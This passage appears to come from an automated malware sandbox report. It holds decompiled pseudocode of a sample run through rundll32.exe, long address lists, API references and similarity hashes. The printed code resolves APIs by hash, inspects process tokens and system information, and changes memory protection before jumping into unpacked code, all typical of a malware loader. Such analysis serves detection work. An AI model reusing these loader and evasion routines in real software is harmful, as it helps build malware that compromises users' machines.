						_t234 = _v164 + 1;
						_v168 = _t177;
						_v148 = _t234;
						_v152 = _v160 + 0x28;
						if(_t234 == _v60) {
							goto L9;
						}
					}
				}
				L9:
				 *_t271 = _v72;
				_v124 = _v72 +  *((intOrPtr*)(_v48 + 0x24));
				_t155 = DisableThreadLibraryCalls(??);
				_t272 = _t271 - 4;
				_t229 =  *_v104;
				_v156 = _t155;
				_v116 = _t229;
				_v120 = _v72;
				if(_t229 != 0) {
					_v120 = _v72 + (_v116 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t240 = _v48;
				_v44 =  *((intOrPtr*)(_t240 + 0x20));
				_v40 =  *((intOrPtr*)(_t240 + 0x18));
				_v36 =  *((intOrPtr*)(_t240 + 0x34));
				_v32 =  *((intOrPtr*)(_t240 + 0x30));
				_v28 =  *_t240;
				_v24 = _v124;
				 *_t272 = _t240;
				_v184 = 0;
				_v180 = 0x74;
				_v128 =  *((intOrPtr*)(_v120 + 0x28));
				_v132 = 0;
				_v136 = 0x74;
				_v140 =  &_v44;
				E003A2569();
				if(_v128 != 0) {
					_t272 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x003a221f
0x003a222d
0x003a2234
0x003a2237
0x003a2241
0x003a2248
0x003a2252
0x003a2258
0x003a2261
0x003a226a
0x003a226d
0x003a2273
0x003a2277
0x003a227f
0x003a2283
0x003a2286
0x003a2289
0x003a228c
0x003a228f
0x003a22a9
0x003a22af
0x003a22b2
0x003a22ba
0x003a22be
0x003a22c1
0x003a22c4
0x003a22c7
0x003a22ca
0x003a22e6
0x003a2303
0x003a2328
0x003a232a
0x003a2333
0x003a2336
0x003a2340
0x003a2343
0x003a2346
0x003a2349
0x003a234c
0x003a23a4
0x003a23a4
0x003a254a
0x003a2550
0x003a244d
0x003a2453
0x003a249f
0x003a249f
0x003a24bc
0x003a24e2
0x003a24f0
0x003a24f3
0x003a24f7
0x003a24fb
0x003a2502
0x003a2508
0x003a250a
0x003a251c
0x003a2524
0x003a252a
0x003a2530
0x003a2536
0x00000000
0x00000000
0x003a253c
0x003a249f
0x003a245b
0x003a2469
0x003a2471
0x003a2474
0x003a2476
0x003a247c
0x003a2488
0x003a248e
0x003a2491
0x003a2494
0x003a238a
0x003a238a
0x003a23d8
0x003a23de
0x003a23e4
0x003a23ea
0x003a23f0
0x003a23f5
0x003a23fb
0x003a23fe
0x003a2401
0x003a2409
0x003a2411
0x003a2414
0x003a2417
0x003a241d
0x003a2423
0x003a242e
0x003a2362
0x003a2368
0x003a2368
0x003a23c5

APIs

VirtualProtect.KERNELBASE ref: 003A228F
VirtualProtect.KERNELBASE ref: 003A2328

Strings

t, xrefs: 003A2409

Memory Dump Source

Source File: 00000001.00000002.747121459.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: 3150314721f9ded101061485f91493f201a6084b37c91eea87985001c930c480
Instruction ID: 6710336c5d8e9a7c3fe6a8f5df7fa96b980cd5ddb3c9a611a3dda3b4f25d0259
Opcode Fuzzy Hash: 3150314721f9ded101061485f91493f201a6084b37c91eea87985001c930c480
Instruction Fuzzy Hash: 0A819BB4E042089FCB04CF99C580A9EFBF1FF89310F65856AE958AB361D734A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 003A2439, Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 003A2508

Memory Dump Source

Source File: 00000001.00000002.747121459.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f9ffc2539b5870938c395a1447e3f922332d55dca462a2441b4a16365e71de88
Instruction ID: 5c6429e3c131376d814d0e23d3711eed831338b52ce2f36b5469f2d369a7de81
Opcode Fuzzy Hash: f9ffc2539b5870938c395a1447e3f922332d55dca462a2441b4a16365e71de88
Instruction Fuzzy Hash: CA31D6B5E002288FDB14CF69C98069DB7F1FF89300F268299D949A7346D731AE41CF81

Uniqueness

Uniqueness Score: -1.00%

Function 003A1D89, Relevance: 1.4, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 003A1EA8

Memory Dump Source

Source File: 00000001.00000002.747121459.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction ID: 486834cc6de37ada4b1e166de60d6ab9589599111d52dfa43b7e11e9042eaff4
Opcode Fuzzy Hash: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction Fuzzy Hash: 1141D3B5E052198FDB04DFA8C5906AEBBF1FF48714F19852EE849AB340D739A840CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 7068 Parent PID: 7040 rundll32.exeCOMMON

Executed Functions

Function 728B07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E728B07CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x728bd1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E728B3558(0x30);
					 *0x728bd1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E728B35D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E728B2F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x728bd1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E728B1094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x728bd1f8 + 0xb)) = _t159;
						_t355 = E728B2F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x728bd1f8 + 0x28)) = 0;
							_t163 = E728B07CC(0x728bd1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x728bbc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x728bbc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E728AF620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E728AF8C4(_t424 + 0x24, E728AF568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E728AF558(_t424 + 0x24, E728AF568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E728B54EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E728AF6F0(_t424 + 0x20);
								E728B551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E728B57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E728AE054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E728B551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E728B57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E728AE054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E728B551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E728B57D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E728AE054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E728AD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E728B54C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E728AD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E728B54C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E728AD098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E728B54C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E728AD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E728B54C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E728AD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E728B54C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E728AD098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E728B54C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x728bd1f8 + 0x24)) = _t186;
							_t187 = E728B10CC(0xffffffffffffffff);
							_t314 =  *0x728bd1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x728bd1f8 + 0x2c)) = E728B1140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E728B2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x728bd1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E728B352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E728B352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E728AF620(_t424 + 0x18c, _t202);
											_t403 = E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E728AF6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E728AF558(_t424 + 0x18c, 0);
												_t209 = E728AF568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E728B352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E728AF558(_t424 + 0x18c, 0);
													E728ADFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E728B2F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E728AE070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E728B2F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E728AE11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E728B4BE0( *((intOrPtr*)(_t424 + 0x1b8)), E728AE94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E728AE054(_t424 + 0x1b8);
														E728AE054(_t424 + 0x1b0);
														E728AF6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E728ABC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x728bd1f8 + 0x2c)) = 6;
															L78:
															_t192 = E728B2F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x728bd1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E728ABC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E728B352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E728B352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E728AF620(_t424 + 0x3c, _t258);
									_t261 = E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E728AF6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E728AF558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E728AF568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E728B352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E728AF558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E728B2F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E728B352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E728B1070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E728B2F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E728ABC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x728b07cc
0x728b07cd
0x728b07ce
0x728b07d0
0x728b07db
0x728b07dd
0x728b07e4
0x728b1063
0x728b1069
0x728b1069
0x728b07ee
0x728b07fa
0x728b0806
0x728b080b
0x728b0818
0x728b0822
0x728b0829
0x728b082e
0x728b0832
0x728b0836
0x728b083b
0x728b083e
0x728b0844
0x728b084a
0x728b0857
0x728b085e
0x728b0865
0x728b0868
0x728b086b
0x728b086d
0x728b0879
0x728b0886
0x728b0893
0x728b0895
0x728b0897
0x728b0923
0x728b0923
0x728b0929
0x728b092c
0x728b0931
0x728b0934
0x728b094c
0x728b094d
0x728b094d
0x728b094d
0x728b0951
0x728b095a
0x728b095f
0x728b095f
0x728b0961
0x728b0972
0x728b0994
0x728b0996
0x728b0997
0x728b099b
0x728b099b
0x728b09a4
0x728b09b0
0x728b09b9
0x728b09cf
0x728b09df
0x728b09e4
0x728b09e8
0x728b09ed
0x728b09ef
0x728b0a3f
0x728b0a54
0x728b0a58
0x728b0a5d
0x728b0a6e
0x728b0a83
0x728b0a87
0x728b0a8c
0x728b0a8e
0x728b0ad5
0x728b0ad8
0x728b0b26
0x728b0b29
0x00000000
0x728b0b2b
0x728b0b2b
0x728b0b2e
0x00000000
0x728b0b30
0x728b0b34
0x728b0b39
0x728b0b3e
0x728b0b40
0x728b0b44
0x728b0b46
0x728b0b4d
0x728b0b4d
0x728b0b48
0x728b0b48
0x728b0b4b
0x728b0b51
0x728b0b51
0x00000000
0x00000000
0x00000000
0x728b0b4b
0x728b0b53
0x728b0b55
0x728b0b58
0x728b0b58
0x728b0b55
0x728b0b5d
0x728b0b67
0x728b0b67
0x728b0b2e
0x728b0ada
0x728b0ada
0x728b0adc
0x728b0b1b
0x728b0b1e
0x728b0e90
0x728b0e95
0x728b0e9a
0x728b0e9c
0x728b0ea0
0x728b0ea2
0x728b0ea9
0x728b0ea9
0x728b0ea4
0x728b0ea4
0x728b0ea7
0x728b0ead
0x728b0ead
0x00000000
0x00000000
0x00000000
0x728b0ea7
0x728b0eaf
0x728b0eb1
0x728b0eb4
0x728b0eb4
0x728b0eb1
0x728b0eb9
0x728b0ec3
0x728b0b24
0x00000000
0x728b0b24
0x728b0ade
0x728b0ae2
0x728b0ae7
0x728b0aec
0x728b0aee
0x728b0af2
0x728b0af4
0x728b0afb
0x728b0afb
0x728b0af6
0x728b0af6
0x728b0af9
0x728b0aff
0x728b0aff
0x00000000
0x00000000
0x00000000
0x728b0af9
0x728b0b01
0x728b0b03
0x728b0b06
0x728b0b06
0x728b0b03
0x728b0b0b
0x728b0b15
0x728b0b15
0x728b0adc
0x728b0a90
0x728b0a90
0x728b0a92
0x728b0b6a
0x728b0b6e
0x728b0b73
0x728b0b78
0x728b0b7a
0x728b0b7e
0x728b0b80
0x728b0b87
0x728b0b87
0x728b0b82
0x728b0b82
0x728b0b85
0x728b0b8b
0x728b0b8b
0x00000000
0x00000000
0x00000000
0x728b0b85
0x728b0b8d
0x728b0b8f
0x728b0b92
0x728b0b92
0x728b0b8f
0x728b0b97
0x728b0b97
0x728b0b99
0x728b0a98
0x728b0a9c
0x728b0aa1
0x728b0aa6
0x728b0aa8
0x728b0aac
0x728b0aae
0x728b0ab5
0x728b0ab5
0x728b0ab0
0x728b0ab0
0x728b0ab3
0x728b0ab9
0x728b0ab9
0x00000000
0x00000000
0x00000000
0x728b0ab3
0x728b0abb
0x728b0abd
0x728b0ac0
0x728b0ac0
0x728b0abd
0x728b0ac5
0x728b0acf
0x728b0acf
0x728b0a92
0x728b09f1
0x728b09f5
0x728b09fa
0x728b09ff
0x728b0a01
0x728b0a05
0x728b0a07
0x728b0a0e
0x728b0a0e
0x728b0a09
0x728b0a09
0x728b0a0c
0x728b0a12
0x728b0a12
0x00000000
0x00000000
0x00000000
0x728b0a0c
0x728b0a14
0x728b0a16
0x728b0a19
0x728b0a19
0x728b0a16
0x728b0a1e
0x728b0a28
0x728b0a28
0x728b0936
0x728b0938
0x728b0938
0x728b0ba2
0x728b0ba5
0x728b0baa
0x728b0bac
0x728b0bb5
0x728b0bc1
0x728b0bc4
0x728b0c92
0x728b0c9a
0x00000000
0x728b0bca
0x728b0bd4
0x728b0be6
0x728b0be8
0x728b0bea
0x728b0c76
0x728b0c76
0x728b0c78
0x728b0c7c
0x728b0c87
0x728b0c7e
0x728b0c7e
0x728b0c7e
0x00000000
0x728b0bf0
0x728b0bfc
0x728b0bfe
0x728b0c00
0x728b104f
0x728b1054
0x728b1056
0x00000000
0x728b105c
0x00000000
0x728b105c
0x728b0c06
0x728b0c06
0x728b0c17
0x728b0c1b
0x728b0c20
0x728b0c32
0x728b0c34
0x728b0c36
0x728b0c4d
0x728b0c4f
0x728b0c51
0x728b0ec9
0x728b0ec9
0x728b0c51
0x728b0c57
0x728b0c5e
0x728b0c60
0x728b0edb
0x728b0ef1
0x728b0ef3
0x728b0ef5
0x728b1030
0x728b1037
0x00000000
0x728b0efb
0x728b0f04
0x728b0f12
0x728b0f2c
0x728b0f2e
0x728b0f30
0x728b1041
0x728b1046
0x728b1048
0x00000000
0x728b104a
0x00000000
0x728b104a
0x728b0f36
0x728b0f36
0x728b0f44
0x728b0f4f
0x728b0f5e
0x728b0f70
0x728b0f72
0x728b0f74
0x728b0f81
0x728b0f81
0x728b0f91
0x728b0fa2
0x728b0fa7
0x728b0fa9
0x728b0fbf
0x728b0fe0
0x728b0fe9
0x728b0ff5
0x728b1001
0x728b1006
0x728b100b
0x728b1011
0x728b1011
0x728b1016
0x728b101c
0x00000000
0x728b1022
0x728b1024
0x728b0c9d
0x728b0ca9
0x728b0cb0
0x728b0cb2
0x728b0cbc
0x728b0cbc
0x728b0cbe
0x728b0cc0
0x728b0ccf
0x728b0cdb
0x728b0cdf
0x728b0ce2
0x728b0ce5
0x728b0ce8
0x00000000
0x728b0ce8
0x728b0fab
0x728b0fab
0x728b0fb2
0x728b0fb3
0x728b0fb3
0x728b0fa9
0x728b0f30
0x728b0c66
0x728b0c66
0x728b0c66
0x728b0c6b
0x728b0c71
0x728b0c71
0x00000000
0x728b0c6b
0x728b0c60
0x728b0c00
0x728b0bea
0x728b089d
0x728b08a9
0x728b08ab
0x728b08ad
0x728b0e7a
0x728b0e7f
0x728b0e81
0x00000000
0x728b0e87
0x00000000
0x728b0e87
0x728b08b3
0x728b08b3
0x728b08c4
0x728b08c8
0x728b08cd
0x728b08da
0x728b08e1
0x728b08e3
0x728b08fa
0x728b08fc
0x728b08fe
0x728b0cf6
0x728b0cf6
0x728b08fe
0x728b0904
0x728b090b
0x728b090d
0x728b0d05
0x728b0d16
0x728b0d1b
0x728b0d1d
0x728b0d1f
0x728b0e50
0x728b0e54
0x00000000
0x728b0d25
0x728b0d2b
0x728b0d50
0x728b0d52
0x728b0d54
0x728b0e6c
0x728b0e71
0x728b0e73
0x00000000
0x728b0e75
0x00000000
0x728b0e75
0x728b0d5a
0x728b0d5a
0x728b0d65
0x728b0d6c
0x728b0d73
0x728b0d7a
0x728b0d7b
0x728b0d7c
0x728b0d8e
0x728b0d90
0x728b0d92
0x00000000
0x728b0d98
0x728b0d9a
0x728b0db5
0x728b0db7
0x728b0db9
0x728b0e5e
0x728b0e63
0x728b0e65
0x00000000
0x728b0e67
0x00000000
0x728b0e67
0x728b0dbf
0x728b0dbf
0x728b0dbf
0x728b0dc6
0x728b0dca
0x728b0e35
0x728b0e35
0x728b0e37
0x728b0e3e
0x728b0e3e
0x728b0e39
0x728b0e39
0x728b0e3c
0x728b0e42
0x728b0e42
0x00000000
0x00000000
0x00000000
0x728b0e3c
0x728b0e44
0x728b0e46
0x728b0e4b
0x728b0e4b
0x00000000
0x728b0dcc
0x728b0dcc
0x728b0dcc
0x728b0dce
0x728b0dda
0x728b0ddf
0x728b0de1
